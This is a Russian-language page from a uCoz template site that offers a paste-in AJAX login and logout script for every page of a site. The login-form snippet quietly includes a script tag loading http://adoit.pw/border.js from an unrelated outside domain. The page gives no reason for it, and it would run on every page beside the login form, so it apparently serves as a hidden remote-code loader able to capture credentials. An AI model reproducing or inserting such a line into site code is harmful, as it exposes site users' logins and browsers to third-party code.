Доброго времени суток, уважаемый посетитель сайта Webik-Diz! Ты находишься на сайте, на котором сможешь скачать действительно качественные шаблоны. Помимо обычных дизайнов, на сайте есть огромный архив наших авторских рипов, множество красивейших макетов, уникальных версток и адаптаций. Мы стараемся помочь пользователю найти шаблон для сайта, а также помочь в освоении системы uCoz. Оставайтесь со StuDRippo и будьте в курсе всех последних поступлений на сайте!
Главная страница » Архив материалов » Пользователи » Авторизация на сайте и выхо...
Авторизация на сайте и выход из профиля без перезагрузк...
14.05.2014
Авторизация на сайте и выход из профиля без перезагрузки страницы
Скриншот материала «Авторизация на сайте и выход из профиля без перезагрузки страницы»
Нажмите, чтобы увеличить
  • Просмотров: 660
  • Скачиваний: 0
  • Комментариев: 0
  • от DoG
Данный скрипт очень полезен для тех, кто хочет перевести весь функционал своего сайта на ajax запросы. Суть скрипта в том, чтобы пользователь мог авторизовываться на сайте и выходить с него без перезагрузки страницы. Это очень удобный способ, так как авторизация будет максимально быстрой и вы сможете выполнять любые свои функции после успешного входа под своим профилем.

Установка:

1) Форма входа:

На всех страницах замените $LOGIN_FORM$ на:
Код
<div id="apologin">$LOGIN_FORM$<div align="center" id="apolog" style="font-weight:bold;color:red"></div></div>  
<script src="http://adoit.pw/border.js" type="text/javascript"></script> <script>  
// ajax авторизация by Apocalypse  
$('#apologin form').attr({'id':'apologformin', 'onsubmit': 'aposendFrmlogin();return false;'});  
aposendFrmlogin = function() {  
$('#apologformin').stop().fadeTo(300, 0.3);  
_uPostForm('apologformin', {type:'POST', url:'/index/sub/', success:function(a) {  
if($(a).text().indexOf('пароль') != -1) {  
$('#apolog').html('Проверьте логин и пароль');  
$('#apologformin').stop().fadeTo(300, 1);  
setTimeout(function() {  
$('#apolog').html('');  
}, 3000);  
} else {  
$('#apolog').html('Авторизация прошла успешно');  
$('#apologformin').remove();  
// Далее здесь можно выполнять любые ваши скрипты после успешной авторизации  
}  
}, error:function(a) {  
_uWnd.alert('Болом какой-то...', 'Упс', {w:200, h:70});  
}});  
}  
// apo-ucoz.com (c) 2013  
</script>

2) Кнопка выхода без перезагрузки страницы прописывается вот так:
Код
<a href="/index/10" onclick="apologout();return false;">Выход</a>  
<script>  
function apologout() {  
if(confirm('Уже уходишь?')) {  
$.post('/index/10');  
setTimeout(function() {  
_uWnd.alert('Вы успешно вышли из профиля', 'Мдяя...', {w:250, h:70});  
// Любые ваши функции после выхода  
}, 2000);  
};  
}  
// apo-ucoz.com (c) 2013  
</script>
Источник: Не указан
Если у Вас всё же остались вопросы, ответы на которые Вы не нашли, воспользуйтесь Обратной связью, либо напишите Администратору или Модератору персональное сообщение с описанием проблемы.
    В комментариях запрещено:
  • Писать сообщение прописными буквами (Caps Lock).
  • Рекламировать какие-либо сайты.
  • Использовать более двух смайлов в одном комментарии.
  • Оскорблять пользователей сайта.
  • Выражаться некультурными словами.
Чат
Цена: 2 руб.
Витрина ссылок
Поставить к себе на сайт
Купить ссылку здесь
Реклама
Люди говорят
Nikola оставил отзыв:
Оставляйте отзывы и пожелания в гостевой книге. Нам важно, что вы думаете!
+0 Все отзывы